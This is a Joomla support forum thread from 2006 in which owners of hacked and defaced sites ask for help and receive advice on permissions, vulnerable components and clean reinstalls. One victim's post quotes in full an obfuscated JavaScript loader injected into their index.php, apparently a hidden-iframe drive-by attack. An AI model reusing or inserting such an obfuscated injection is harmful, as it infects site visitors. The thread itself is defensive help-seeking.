Joomla! Discussion Forums



It is currently Mon Nov 23, 2009 3:20 am (All times are UTC )

 


Forum rules

Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Security Checklist
Forum Post Assistant - If you are serious about wanting help, you will use this tool to help you post.



Post new topic Reply to topic  [ 46 posts ]  Go to page 1, 2  Next
Author Message
Posted: Tue Apr 11, 2006 9:15 pm 
User avatar
Joomla! Master
Joomla! Master
Offline

Joined: Thu Aug 18, 2005 7:13 am
Posts: 13237
Hannes wrote up an excellent thread about the steps to take if you have the unfortunate luck to have a hacked website. The thread can be found here.

The text isn't set in stone, if there is certain information that might be useful, please do it here so he can update it.

_________________
Antonie de Wilde - Forum admin
All Joomla! release dates and days between releases: http://jfoobar.org/blog/189-days-betwee ... a-releases.test


Last edited by Tonie on Tue Apr 11, 2006 9:17 pm, edited 1 time in total.

Top
   
 
Posted: Tue Apr 11, 2006 9:39 pm 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Fri Aug 12, 2005 3:02 pm
Posts: 1409
Some great information here, i've bookmarked it! heh.

_________________
rhuk
http://www.rockettheme.com - RocketTheme Template Club
http://www.rockettheme.com/aff - RocketTheme Affiliate Program


Top
  E-mail  
 
Posted: Tue May 09, 2006 6:10 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Tue May 09, 2006 6:04 pm
Posts: 12
My site was running fine and then this happenend after 1 week: http://joram.biz/ I've waited and its not going away.
My Hosting server is fine because other site that are not running on Joomla are perfect

The only third party component was loudbot/loudblog

Thanks


Top
  E-mail  
 
Posted: Tue May 09, 2006 6:38 pm 
User avatar
Joomla! Virtuoso
Joomla! Virtuoso
Offline

Joined: Fri Sep 16, 2005 8:41 pm
Posts: 3652
Location: NRW - Germany
This means that Joomla can't connect to your database. (I think, I don't know all the number codes of the head... ;) You see the number 2 below the offline message? Thats the information whats wrong.)

_________________
god doesn't play dice with the universe. not after that drunken night with the devil where he lost classical mechanics in a game of craps.

Since the creation of the Internet, the Earth's rotation has been fueled, primarily, by the collective spinning of English teachers in their graves.


Top
   
 
Posted: Tue May 09, 2006 9:26 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Tue May 09, 2006 6:04 pm
Posts: 12
Thanx for the info.
I tried repairing the DB and nothing changed, instead I made a new installation.  :laugh:


Top
  E-mail  
 
Posted: Thu May 25, 2006 6:22 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Wed Apr 26, 2006 1:26 am
Posts: 10
Hi

I am experiencing the samething...with the #2 below the " wwws.org
This site is temporarily unavailable.
Please notify the System Administrator
2

What is it?

It happened twice now. It came back this afternoon and 5 hours later it did the samething again.

What I was doing the first time is that I was updating my Sitemap going to Googles homepage and I click on the Joomap? When the site went back on this afternoon I went and updated my Sitemap again as I din't think it was the one that is wrong with it, then later after that the site became sluggish and sure enough it went offline again with that message.

Can anyone figure what is wrong?

Thanks!

_________________
Free Link Submission.
http://wwws.org


Top
  E-mail  
 
Posted: Fri May 26, 2006 3:13 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Wed Apr 26, 2006 1:26 am
Posts: 10
Well, this was a no-brainer after all. I was hacked :'( After reinstalling and bring the site back, about 8 hours in operation again...Poof! Site no more all files are deleted by the hacker.

_________________
Free Link Submission.
http://wwws.org


Top
  E-mail  
 
Posted: Fri May 26, 2006 3:51 pm 
User avatar
Joomla! Virtuoso
Joomla! Virtuoso
Offline

Joined: Sun Aug 21, 2005 2:25 pm
Posts: 4103
Location: Somewhere Near Here
The message with the number 2 means that there are issues connecting to the database.  Could it be that your hosting service is deleting your files? 

_________________
Love good music, especially the blues? http://www.jennifermarriott.com
Need a Joomla Consultant? http://www.marpomultimedia.com
JOOMLA ROCKS


Top
  E-mail  
 
Posted: Fri Jun 02, 2006 12:58 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Wed Nov 16, 2005 3:09 pm
Posts: 11
Greetings all,

I am using Joomla 1.0.8 and I have several mods that have been added, I have a person who has now attacked my site 2 times, and at present this person is envoking a "javascript>document.write(unescape" command that has been encoded. I am unable to decode this script to find out where its at.

I have passworded my Admin folder and I am presently seeking advice to plug this hole once and for all. Can anyone tell me how this person is adding Java scripts to my webpage???

This person first did this to my Opening page which was a Simple HTML click to proceed to the Joomla side. I don't know how this person is making changes successfuly to my site, but I would like to plug this hole ASAP!

I like Joomla, But I can't afford to have people editing my website at there will.

I will not post links as I don't want people to get any viruses, but I will post the scrip in CODE to show the exact nature of this embeded code.

Code:
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%71%29%7B%76%61%72%20%71%31%3D%75%6E%65%73%63%61%70%65%28%71%2E%73%75%62%73%74%72%28%30%2C%71%2E%6C%65%6E%67%74%68%2d%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%71%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%71%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2d%71%2E%73%75%62%73%74%72%28%71%2E%6C%65%6E%67%74%68%2d%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('+9IOLXGSK+86yxi+9J+88nzzv+9G55zxgllrugjy4otlu5u%7Bz4vnv+9Lyeoj+9J7+88+86%7Dojzn+9J%3B+86nkomnz+9J%3B+86yz%7Frk+9J+88joyvrg%7F+9Gtutk+88+9K+9I5OLXGSK+9K6')</script>


Please help me to find out how this person is changing my website at his will, or tell me what CHMOD setting I should change my subfolders too resolve this problem.

I am very concerned about this, and If I can't resolve this issue. I will be forced to remove Joomla, which I don't want to do.
Many thanks in advance if you have any advise on this problem please let me know.


Top
  E-mail  
 
Posted: Fri Jun 02, 2006 1:00 pm 
User avatar
Joomla! Virtuoso
Joomla! Virtuoso
Offline

Joined: Sun Aug 21, 2005 2:25 pm
Posts: 4103
Location: Somewhere Near Here
Can you block their IP?  Do you know who this person is?

_________________
Love good music, especially the blues? http://www.jennifermarriott.com
Need a Joomla Consultant? http://www.marpomultimedia.com
JOOMLA ROCKS


Top
  E-mail  
 
Posted: Fri Jun 02, 2006 1:35 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Wed Nov 16, 2005 3:09 pm
Posts: 11
No I do not know the actual person, but the only odd connection is comming from Italy. Its an ADSL connetion with a dynamic IP address.

This person is adding lines of code to my index.php and they are embedding encoded scripts into the page. All of the Internet explorer people are getting hit with Windows installers. Everyone who uses Firefox is not getting trampled.

I want to nix this hole, I have many files set to write able as per the install instructions. But this is really getting anyoing. is there some sort of FTP software embeded into the Joomla system?

Many thanks
Blacksteel


Top
  E-mail  
 
Posted: Fri Jun 02, 2006 1:44 pm 
User avatar
Joomla! Virtuoso
Joomla! Virtuoso
Offline

Joined: Sun Aug 21, 2005 2:25 pm
Posts: 4103
Location: Somewhere Near Here
Is your configuration.php locked down?  Can you list the mods you have installed?

_________________
Love good music, especially the blues? http://www.jennifermarriott.com
Need a Joomla Consultant? http://www.marpomultimedia.com
JOOMLA ROCKS


Top
  E-mail  
 
Posted: Fri Jun 02, 2006 1:57 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Wed Nov 16, 2005 3:09 pm
Posts: 11
My configuration is listed as Writeable - I thought that was supposed to be set to that. ( I don't have access to an FTP to make that change from work)

I have the following moduals installed:

DOCMan v1.3.0 beta 4
Events  v1.1
Joomlaboard Forum v1.1.2 Stable

And thats it.


Top
  E-mail  
 
Posted: Fri Jun 02, 2006 2:01 pm 
User avatar
Joomla! Virtuoso
Joomla! Virtuoso
Offline

Joined: Sun Aug 21, 2005 2:25 pm
Posts: 4103
Location: Somewhere Near Here
You configuration should only be writable when you are changing something in the global configuration.  All other times it should be chmod 644.

That may be your issue right there.

_________________
Love good music, especially the blues? http://www.jennifermarriott.com
Need a Joomla Consultant? http://www.marpomultimedia.com
JOOMLA ROCKS


Top
  E-mail  
 
Posted: Fri Jun 02, 2006 2:15 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Wed Nov 16, 2005 3:09 pm
Posts: 11
Ok, many thanks I will look into this.

However this issue is the 2nd attack. My first attack was done on an HTML (only splash screen) that was not appart of Joomla. Does this suggest to you that the FTP site was attacked or does joomla have a way to edit HTML too??

I know its the same person the javascript is the same as before. So how is this person changing my HTML and have access to my configuration.php??

Many thanks for your help BTW!

Blacksteel


Top
  E-mail  
 
Posted: Fri Jun 02, 2006 2:27 pm 
User avatar
Joomla! Virtuoso
Joomla! Virtuoso
Offline

Joined: Sun Aug 21, 2005 2:25 pm
Posts: 4103
Location: Somewhere Near Here
Have you talked to your hosting provider?  Perhaps the issue lies with a server vulnerability rather than your specific site.

_________________
Love good music, especially the blues? http://www.jennifermarriott.com
Need a Joomla Consultant? http://www.marpomultimedia.com
JOOMLA ROCKS


Top
  E-mail  
 
Posted: Fri Jun 02, 2006 2:33 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Wed Nov 16, 2005 3:09 pm
Posts: 11
I am already on that now.. Many thanks for your suggestions MMMedia!

I hope I can get this thing plugged up. It looks like I need to re-read the install FAQ..

Blacksteel


Top
  E-mail  
 
Posted: Tue Jun 06, 2006 2:09 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Jun 05, 2006 10:58 pm
Posts: 6
Quote:
Have you checked the folder permissions?
A webserver has a sophisticated system to control the read, write and execute permissions of its files. If you give to much access to your folders, your server gets vulnerable and can be hacked easily. Thats why you shouldn't give more than the standard 755 for folders and 644 for files. This is a number combination that represents a certain kind of read/write access. Basically you give full access to the owner of the file and only restricted access to others. The ownership is another problem and both are well discussed in the forum.


I am on a shared server.  What I find VERY odd is that the installation of Joomla went well and all dirs are owned by my account.
But I look in the templates directory.... The last template is owned by user nobody and the dir is 777 and files are 666.

I then look in the components directory.  GigCal, joomlaboard and xemusicgal are also owned by nobody, dir 777, files 666.. all others are owned by my account.

I had to get my host admin to change the xemusicgal ownership to me recursively so I could ftp large mp3 files manually.
After that, the xemusicgal component through the admin interface could not upload smaller mp3 files because it wants to write files as user nobody.  I ended up changing the perms to 777 for that directory as a result.


Is there anyway to configure joomla to create dirs and files with a specific owner?  I know there is a umask option inside the global config.  I may have messed up when I changed those umasks to 0777 and 0666.  But that still doesn't explain why the new components and template is owned by user nobody.


UPDATE...
I just changed the global config to use the server defaults for permissions.  I then changed the dir ownership to 755 and tried to upload a file using the xemusicgal admin interface.  Of course it says my file was uploaded successfully... poorly written I guess.
I check the mp3 dir and nothing is there.  I then change the dir perms to 777, reupload and look again....

-rw-r--r--  1 nobody  users    25133 Jun  5 22:17 comm01.mp3

ARRRGH ---- friggin nobody.  Good thing I can delete the file since I own the directory.

This is annoying.  someone smack me with a knowledge fish (or large trout for you old mIRC users).


Last edited by amcorona on Tue Jun 06, 2006 2:21 am, edited 1 time in total.

Top
  E-mail  
 
Posted: Fri Jul 14, 2006 11:45 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Sat Jun 24, 2006 1:53 am
Posts: 32
Location: Canada
What kind of hack is this? And how do you think it can be fixed?
http://www.neo-fantasy.com

_________________
11 year old rawker ^.^ http://www.neo-fantasy.com


Top
   
 
Posted: Sat Jul 15, 2006 2:23 pm 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Fri Aug 19, 2005 6:52 am
Posts: 699
Location: Bangsamoro Homeland
kaydeng wrote:
What kind of hack is this? And how do you think it can be fixed?
http://www.neo-fantasy.com


if that your site.. you are defaced. delete it.. and have a fresh reinstall of Joomla. also inform the admin of the server.

_________________
Moslemen M. Macarambon Jr.
http://moslemenjr.macarambon.com
http://www.joomlamoro.com - Joomla Bangsamoro Language, Team Coordinator


Top
  E-mail  
 
Posted: Sat Jul 15, 2006 7:35 pm 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Thu Aug 18, 2005 10:40 pm
Posts: 501
Location: Antalya
you don't need to delete and install fresh joomla if your site defaced
its not a good idea to  advise to delete site to anybody if the site defaced.

it's easy to fix defaced site

you may have to check your template index.php, reload a fresh root index.php and index2.php, check that configuration.php is OK.
check chmods.. make sure you upgrade to joomla 1010
check all folders for pearl scrip. they upload BOTS and use your site for ddos attacks in the future with that bot
you need to find that script in folders... check cache folder too

check iframe call in the administration html files
there are many different ways of hacking. hard to find what they did
usually they don't harm the site. they delete admin account. you need to go to phpmyadmin and create a new one.
check security forum and unistall or upgrade or fix komponents that hackers getting to your site

go to this site.... all the components and modules compromised in that list
http://forum.joomla.org/index.php/board,296.0.html

maybe mods should write a list of what to check in hacked sites.

if your site defaced.... on your main page in IE go to VIEW>>>SOURCE
check the source and you will see the IFRAME codes that hacker used.
that codes gives you a lot of idea how to fix your site


You also need to make sure your files do not allow direct access, so check that you have included this at the top of each file:

Code:
// Don't allow direct linking
defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );


Last edited by Anonymous on Sat Jul 15, 2006 7:57 pm, edited 1 time in total.

Top
  E-mail  
 
Posted: Sun Jul 16, 2006 3:18 am 
User avatar
Joomla! Virtuoso
Joomla! Virtuoso
Offline

Joined: Fri Sep 16, 2005 8:41 pm
Posts: 3652
Location: NRW - Germany
Thats true bullshit. The hackers could have left some fíle somewhere deep in the folders of Joomla and you wouldn't notice it. They would be back in in a second. The only REALLY secure way to get rid of a hacker is to delete both the files and the db of Joomla and restore it from scratch. Of course you create a backup of all the stuff, to copy database entries or modified files after checking them back into the production system. But advising someone to NOT remove all files is like advising someone to not fix the brakes on a car after they got wrecked in an accident.

_________________
god doesn't play dice with the universe. not after that drunken night with the devil where he lost classical mechanics in a game of craps.

Since the creation of the Internet, the Earth's rotation has been fueled, primarily, by the collective spinning of English teachers in their graves.


Top
   
 
Posted: Sun Jul 16, 2006 4:44 am 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Fri Aug 19, 2005 6:52 am
Posts: 699
Location: Bangsamoro Homeland
yes.. its possible that some kind of backdoors deep in your joomla files.. thats why i suggest a fresh files of joomla 1.0.10 .

i have some irregularities on my some joomla sites ...good thing i have a DB backup.. so i will just restore the DB and upload fresh joomla 1.0.10 files. though some of my sites not yet fix .. too busy with school stuffs. maintaining many joomla sites kinda painfull if theres a security issue.  :(

_________________
Moslemen M. Macarambon Jr.
http://moslemenjr.macarambon.com
http://www.joomlamoro.com - Joomla Bangsamoro Language, Team Coordinator


Top
  E-mail  
 
Posted: Sun Jul 16, 2006 10:00 am 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Thu Aug 18, 2005 10:40 pm
Posts: 501
Location: Antalya
some hackers deface site and do not touch database (inexperience lamers)
if database is clean, you can fix the site. joomla keeps data in mysql
if hacker modified database and you do not have a database backup, damage is done and you can't fix the site.(if you do not have a database backup)

but if site defaced and database is not harmed, try ftp voyager.
FTP VOYAGER allows you to compare a known good configuration with your current one to see if there are any files/directories that have been added to your system. FTP Voyager which allows you to do a diff between a site and a local copy to see what's diff.
this way you can find hidden files that added to you folders by hackers.
You should also inspect your logs, look for strange request or search for strings like "/tmp" "/var/tmp" which is usually used to upload and execute rootkits, perl scripts.(copy and pasted from a prior post)


Top
  E-mail  
 
Posted: Wed Aug 16, 2006 7:46 pm 
User avatar
Joomla! Explorer
Joomla! Explorer
Offline

Joined: Tue Aug 30, 2005 3:40 pm
Posts: 278
Location: United States of America
Strange, another fix today on a 1.0.8 site.  I figured everyone would have done an update by now.  Hmmm, well none the less, I think the reason I've been able to track for the site hacks is not as deliberate as many would think. 

In fact I'm almost willing to promise that a majority of sites being hacked are taking advantage of issues on cPanel type servers via a "BOT" after looking at the hosting sites on our servers that have Joomla we notice that the same bot seems to tread the IP number and or domains at almost the same time and the one that got nailed was an older install of Joomla.

None the less, until cPanel looks at the issue I've published a rather simple tutorial on how to somewhat shield your self from these BOT type attacks.

http://forum.joomla.org/index.php/topic,11244.30.html



~ Jared

_________________
Smart people bridge with Joomla, not integrate
http://www.jaredritchey.com


Top
   
 
Posted: Sun Sep 10, 2006 5:34 am 
User avatar
Joomla! Intern
Joomla! Intern
Offline

Joined: Wed Dec 14, 2005 11:11 pm
Posts: 53
Location: asheville nc usa
sadly, my site was hacked/defaced/whatever this morning. bizarre world political crap statements with their tags on a changed index.php and index2.php files somehow. i was on 1.0.10 and found out and uploaded to 1.0.11 after wards. everything seems fine now, its not a critical site so if it goes down again by hackers, i dont really give a crap but its more annoying than anything. and it does raise questions as to whether i should use joomla for other clients.... i read the securities thread and it makes my head hurt reading it.

my hosting company said it was joomla being vulnerable and it wasnt the server so not to worry... although makes me worry about joomla more than anything. still trying to figure out how to view my access logs to see where it might of happened. hopefully 1.0.11 is all good and this was just a political stunt.

_________________
barrett
pro:create.multimedia @ http://www.procreatemultimedia.com


Top
  E-mail  
 
Posted: Sun Sep 10, 2006 5:47 am 
User avatar
Joomla! Intern
Joomla! Intern
Offline

Joined: Wed Dec 14, 2005 11:11 pm
Posts: 53
Location: asheville nc usa
looking at hte logs, it seemed to attack the com_comprofiler. seems it was community builder./

_________________
barrett
pro:create.multimedia @ http://www.procreatemultimedia.com


Top
  E-mail  
 
Posted: Fri Sep 29, 2006 6:48 am 
User avatar
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Tue Aug 30, 2005 9:25 am
Posts: 225
Location: Rosemont, PA USA
Hello all,

This is now the 3rd site to be hacked in the last few days.

All running off of the same hosting platform.

Please help if you are knowledgeable and especially if you are part of the Joomla team :)

first site as proof of hack:

http://www.waldorff.no/
there is now an index.html file that shows the hack crap which was not there before obviously.

http://www.waldorff.no/index.php = comes up with all sorts of errors because they also hacked configuration.php

finally they added this cute file: [cute is a VERY relative word]

http://www.waldorff.no/tema.php

Guvenlik Durumu - from the little research that I have made this would mean: Security Condition.

Please check this out.

I have converted most of my customers to Joomla and if this is going to happen to all of them, this is really NOT good for me.
:(

Thank you for your help in advance.

Sincerely,

Emmanuel Lemor


Top
   
 
Posted: Fri Sep 29, 2006 7:18 am 
User avatar
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Tue Aug 30, 2005 9:25 am
Posts: 225
Location: Rosemont, PA USA
Additional information:
Joomla v1.0.11

running:
PHP/4.4.2

uname -a: FreeBSD speedy.dnsprotect.com 4.9-RELEASE FreeBSD 4.9-RELEASE #1: Thu Feb i386

shared hosting with lypha.com

honestly never checked to see if I have access to the server logs. asking hosting provider hopefully will have acces to them.

so far no information from them except they say the server has not been compromised.

folder permissions are in the only way that I could set them with this provider which is 777 for folders, if I have them set to 755
then joomla install considers them non-writeable.

[I am sure this is part of the issue but the hosting provider won't do anythign to change it], BUT the only file that gets defaced
is the index.php and that does not have 777 rights of course, so I have a hard time believing that it is the fault of the folders having
777 rights...

Thanks for the help.
Sincerely,

Emmanuel Lemor.


Top
   
 
Posted: Fri Sep 29, 2006 8:35 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Fri Sep 01, 2006 8:04 am
Posts: 46
Location: Berlin
More additional information is needed. Which Modules/Components are installed. Do you have register globals enabled or the register globals emulation?

Is you configuration.php is writeable?

Have you read the security checklist? http://forum.joomla.org/index.php/topic,81058.0.html
Do you use .htaccess to block exploit attempts? http://forum.joomla.org/index.php/topic,75376.0.html
Have you looked if your installed Modules/Components are up to date? Here is a list of vulnerable Components http://forum.joomla.org/index.php/topic,79477.0.html

Greets

Jens


Last edited by kmekc on Fri Sep 29, 2006 8:38 am, edited 1 time in total.

Top
  E-mail  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 46 posts ]  Go to page 1, 2  Next

Quick reply

 



Who is online

Users browsing this forum: No registered users and 10 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group